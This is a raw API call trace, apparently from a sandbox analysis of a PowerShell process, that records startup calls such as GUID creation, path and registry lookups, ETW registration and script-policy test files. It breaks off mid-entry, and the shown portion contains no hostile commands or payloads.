CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xc24a712a, Data2=0x522, Data3=0x46c1, Data4=([0]=0xa0, [1]=0xb9, [2]=0x9a, [3]=0x8f, [4]=0xfd, [5]=0xb1, [6]=0x11, [7]=0xe1))) returned 0x0 [0216.261] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x5bbaca6a, Data2=0x47a4, Data3=0x4c17, Data4=([0]=0x96, [1]=0xa5, [2]=0xd2, [3]=0xfb, [4]=0x15, [5]=0x2d, [6]=0xbe, [7]=0xd6))) returned 0x0 [0216.261] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x6355fa68, Data2=0x236b, Data3=0x4830, Data4=([0]=0xa6, [1]=0xd1, [2]=0xb6, [3]=0x74, [4]=0x9a, [5]=0x80, [6]=0xf8, [7]=0x96))) returned 0x0 [0216.262] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x45280ead, Data2=0xddb5, Data3=0x4c01, Data4=([0]=0x8d, [1]=0xfb, [2]=0x82, [3]=0x71, [4]=0x4e, [5]=0x68, [6]=0x29, [7]=0x50))) returned 0x0 [0216.262] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x54e5610, Data2=0x8869, Data3=0x48e4, Data4=([0]=0xa6, [1]=0x76, [2]=0x39, [3]=0xaa, [4]=0x24, [5]=0x2, [6]=0xcd, [7]=0xc1))) returned 0x0 [0216.262] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x4389943, Data2=0x63f4, Data3=0x41a5, Data4=([0]=0xab, [1]=0x6f, [2]=0xab, [3]=0x5b, [4]=0x64, [5]=0xc, [6]=0xdc, [7]=0x63))) returned 0x0 [0216.262] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x5ef1e01e, Data2=0x2e85, Data3=0x4042, Data4=([0]=0xbb, [1]=0xaa, [2]=0x15, [3]=0xe0, [4]=0x9c, [5]=0x26, [6]=0x6a, [7]=0xd5))) returned 0x0 [0216.262] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x45741fb9, Data2=0x6f29, Data3=0x4b70, Data4=([0]=0x90, [1]=0x9d, [2]=0x3d, [3]=0x85, [4]=0xa3, [5]=0xde, [6]=0x23, [7]=0x14))) returned 0x0 [0216.262] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x3ac42b8b, Data2=0x11c2, Data3=0x41ca, Data4=([0]=0x95, [1]=0x3a, [2]=0xaa, [3]=0x25, [4]=0xb6, [5]=0x1a, [6]=0x67, [7]=0x23))) returned 0x0 [0216.263] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x7c3874f8, Data2=0x5d1b, Data3=0x43c5, Data4=([0]=0xb8, [1]=0xfb, [2]=0x98, [3]=0x38, [4]=0x4f, [5]=0x37, [6]=0x69, [7]=0x78))) returned 0x0 [0216.908] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xa5ed4d86, Data2=0x6618, Data3=0x42ed, Data4=([0]=0x8f, [1]=0x52, [2]=0xcd, [3]=0x9f, [4]=0x17, [5]=0xfa, [6]=0xdd, [7]=0x43))) returned 0x0 [0216.915] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x72f54b36, Data2=0x7395, Data3=0x4e83, Data4=([0]=0x9f, [1]=0x9c, [2]=0x24, [3]=0x7, [4]=0x9e, [5]=0xa4, [6]=0x39, [7]=0x60))) returned 0x0 [0216.915] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x95e3f389, Data2=0x9b33, Data3=0x4f4f, Data4=([0]=0xa8, [1]=0x88, [2]=0x64, [3]=0x28, [4]=0xba, [5]=0xec, [6]=0xd0, [7]=0xad))) returned 0x0 [0216.915] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x97d3db35, Data2=0xcc66, Data3=0x478c, Data4=([0]=0xb4, [1]=0x3d, [2]=0x71, [3]=0x82, [4]=0xe7, [5]=0x11, [6]=0xfb, [7]=0xdc))) returned 0x0 [0216.915] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xd4cd99e9, Data2=0x4a0a, Data3=0x427a, Data4=([0]=0x90, [1]=0xa1, [2]=0x6e, [3]=0x59, [4]=0x42, [5]=0xe4, [6]=0x83, [7]=0x7))) returned 0x0 [0216.915] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x9e5fc6c8, Data2=0x88fe, Data3=0x4b55, Data4=([0]=0x98, [1]=0xcd, [2]=0xff, [3]=0x9f, [4]=0x30, [5]=0x41, [6]=0xea, [7]=0x4b))) returned 0x0 [0216.915] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x30aa9d49, Data2=0x5ea8, Data3=0x4e17, Data4=([0]=0x9a, [1]=0x7, [2]=0xe8, [3]=0xd, [4]=0x3a, [5]=0x3e, [6]=0x47, [7]=0x3b))) returned 0x0 [0216.916] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x1a97ebd8, Data2=0x2ef7, Data3=0x4523, Data4=([0]=0xa1, [1]=0x55, [2]=0x5d, [3]=0x5, [4]=0x8c, [5]=0xde, [6]=0xb3, [7]=0xb1))) returned 0x0 [0216.916] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x4ab846c8, Data2=0x1cf0, Data3=0x4032, Data4=([0]=0xa4, [1]=0x83, [2]=0xaa, [3]=0x5c, [4]=0x94, [5]=0xdc, [6]=0x82, [7]=0x22))) returned 0x0 [0216.916] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x5a3e8bd4, Data2=0x89b4, Data3=0x4f95, Data4=([0]=0xb1, [1]=0x23, [2]=0x9c, [3]=0x30, [4]=0x6e, [5]=0xb5, [6]=0xe7, [7]=0xea))) returned 0x0 [0216.916] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xd0fd9b5, Data2=0xbc0e, Data3=0x45b9, Data4=([0]=0xbb, [1]=0xd3, [2]=0x45, [3]=0xca, [4]=0x7d, [5]=0xc4, [6]=0xc, [7]=0x2e))) returned 0x0 [0216.933] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x14e247e0, Data2=0xb678, Data3=0x4690, Data4=([0]=0x91, [1]=0xf9, [2]=0x70, [3]=0xa9, [4]=0xdc, [5]=0x57, [6]=0xa1, [7]=0x8c))) returned 0x0 [0216.938] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x7cfac541, Data2=0x403, Data3=0x4bbc, Data4=([0]=0x86, [1]=0x29, [2]=0x20, [3]=0x37, [4]=0xb9, [5]=0x3a, [6]=0x44, [7]=0x91))) returned 0x0 [0218.916] GetLogicalDrives () returned 0x4 [0218.916] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0218.916] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0218.951] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0218.951] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0218.951] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0218.958] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x11fcf28 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0218.977] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0218.977] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1195e78, nSize=0x104 | out: lpBuffer="?ݯ䧰ݫ㊴畮㊤畮\x0e") returned 0x0 [0218.977] CoTaskMemFree (pv=0x1195e78) [0218.979] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0218.979] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1195e78, nSize=0x104 | out: lpBuffer="?ݯ䧰ݫ㊴畮㊤畮\x0e") returned 0x0 [0218.979] CoTaskMemFree (pv=0x1195e78) [0218.979] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0218.979] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1195e78, nSize=0x104 | out: lpBuffer="?ݯ䧰ݫ㊴畮㊤畮\x0e") returned 0x0 [0218.979] CoTaskMemFree (pv=0x1195e78) [0219.039] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0219.039] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1195e78, nSize=0x104 | out: lpBuffer="?ݯ䧰ݫ㊴畮㊤畮\x0e") returned 0x0 [0219.039] CoTaskMemFree (pv=0x1195e78) [0219.813] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0220.258] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x18 [0220.258] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x18, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0220.260] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0220.260] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0220.260] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0220.260] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0220.260] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0220.260] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0220.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0220.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0220.261] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0220.261] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0220.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x18 [0220.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x18, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0220.303] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0220.531] ReportEventW (hEventLog=0x7af0004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x52f3040*="Available", lpRawData=0x52f2f68) returned 1 [0220.546] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0220.546] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1195e78, nSize=0x104 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0220.546] CoTaskMemFree (pv=0x1195e78) [0220.548] GetCurrentProcessId () returned 0x9d0 [0220.550] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e5c0 | out: phkResult=0x103e5c0*=0x288) returned 0x0 [0220.551] RegQueryValueExW (in: hKey=0x288, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e5e0, lpData=0x0, lpcbData=0x103e5dc*=0x0 | out: lpType=0x103e5e0*=0x1, lpData=0x0, lpcbData=0x103e5dc*=0x56) returned 0x0 [0220.551] RegQueryValueExW (in: hKey=0x288, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e5e0, lpData=0x52f9fc4, lpcbData=0x103e5dc*=0x56 | out: lpType=0x103e5e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x103e5dc*=0x56) returned 0x0 [0220.551] RegCloseKey (hKey=0x288) returned 0x0 [0220.740] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x11fcf28 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0220.741] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0220.742] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x18 [0220.742] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x18, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0220.742] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0220.743] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0220.743] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x18 [0220.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x18, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0220.745] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0221.608] EtwEventRegister (in: ProviderId=0x5308644, EnableCallback=0x7242d7e, CallbackContext=0x0, RegHandle=0x5308620 | out: RegHandle=0x5308620) returned 0x0 [0221.609] EtwEventSetInformation (RegHandle=0x761acd0, InformationClass=0x55, EventInformation=0x2, InformationLength=0x53085e4) returned 0x0 [0222.193] EnumerateTraceGuidsEx () returned 0x0 [0222.194] GetCurrentProcessId () returned 0x9d0 [0222.303] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Winevt\\Publishers\\{816ebd75-f7ab-59c0-e2f0-bddfeed66ac2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x103d68c | out: phkResult=0x103d68c*=0x0) returned 0x2 [0223.297] GetCurrentProcessId () returned 0x9d0 [0223.928] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0223.928] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1195e78, nSize=0x104 | out: lpBuffer="?ݯ鱠ݢ") returned 0x0 [0223.928] CoTaskMemFree (pv=0x1195e78) [0229.533] EtwEventWriteTransfer (RegHandle=0x1189890, EventDescriptor=0x2e, ActivityId=0x103e7a0, RelatedActivityId=0x103e740, UserDataCount=0x0, UserData=0x0) returned 0x0 [0229.533] GetCurrentProcessId () returned 0x9d0 [0229.534] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x9d0) returned 0x6b0 [0229.534] GetProcessTimes (in: hProcess=0x6b0, lpCreationTime=0x5338524, lpExitTime=0x533852c, lpKernelTime=0x5338534, lpUserTime=0x533853c | out: lpCreationTime=0x5338524, lpExitTime=0x533852c, lpKernelTime=0x5338534, lpUserTime=0x533853c) returned 1 [0229.534] CloseHandle (hObject=0x6b0) returned 1 [0229.540] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0229.540] GetSystemDirectoryW (in: lpBuffer=0x1195e78, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0229.540] CoTaskMemFree (pv=0x1195e78) [0229.540] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0229.541] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0229.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e588) returned 1 [0229.541] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x103e604 | out: lpFileInformation=0x103e604*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0229.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e584) returned 1 [0229.620] WldpGetLockdownPolicy () returned 0x10000000 [0229.622] CoTaskMemAlloc (cb=0x20c) returned 0x1195e78 [0229.622] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1195e78 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0229.622] CoTaskMemFree (pv=0x1195e78) [0229.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0229.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0229.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0229.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0229.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e57c) returned 1 [0229.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x103e5f8 | out: lpFileInformation=0x103e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6d42b027, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x6d42b027, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0229.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e578) returned 1 [0229.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0229.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", nBufferLength=0x49, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", lpFilePart=0x0) returned 0x48 [0229.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e4c4) returned 1 [0229.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_uxawqvd3.hmr.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b8 [0229.631] GetFileType (hFile=0x6b8) returned 0x1 [0229.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e4c0) returned 1 [0229.631] GetFileType (hFile=0x6b8) returned 0x1 [0229.633] WriteFile (in: hFile=0x6b8, lpBuffer=0x533afb4*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x103e540, lpOverlapped=0x0 | out: lpBuffer=0x533afb4*, lpNumberOfBytesWritten=0x103e540*=0x1, lpOverlapped=0x0) returned 1 [0229.634] CloseHandle (hObject=0x6b8) returned 1 [0229.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0229.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", lpFilePart=0x0) returned 0x49 [0229.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e4c4) returned 1 [0229.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_kxix5moq.igb.psm1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b8 [0229.635] GetFileType (hFile=0x6b8) returned 0x1 [0229.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e4c0) returned 1 [0229.635] GetFileType (hFile=0x6b8) returned 0x1 [0229.635] WriteFile (in: hFile=0x6b8, lpBuffer=0x533d500*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x103e540, lpOverlapped=0x0 | out: lpBuffer=0x533d500*, lpNumberOfBytesWritten=0x103e540*=0x1, lpOverlapped=0x0) returned 1 [0229.636] CloseHandle (hObject=0x6b8) returned 1 [0229.638] CoTaskMemAlloc (cb=0x92) returned 0x765de80 [0229.638] IdentifyCodeAuthzLevelW () returned 0x1 [0229.842] CoTaskMemFree (pv=0x765de80) [0229.842] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0229.843] CloseCodeAuthzLevel () returned 0x1 [0229.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0229.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", nBufferLength=0x49, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", lpFilePart=0x0) returned 0x48 [0229.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e584) returned 1 [0229.844] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_uxawqvd3.hmr.ps1"), fInfoLevelId=0x0, lpFileInformation=0x103e600 | out: lpFileInformation=0x103e600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb30354da, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0xb30354da, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xb30354da, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0229.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e580) returned 1 [0229.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0229.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", nBufferLength=0x49, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1", lpFilePart=0x0) returned 0x48 [0229.844] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uxawqvd3.hmr.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_uxawqvd3.hmr.ps1")) returned 1 [0229.845] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0229.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kxix5moq.igb.psm1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: 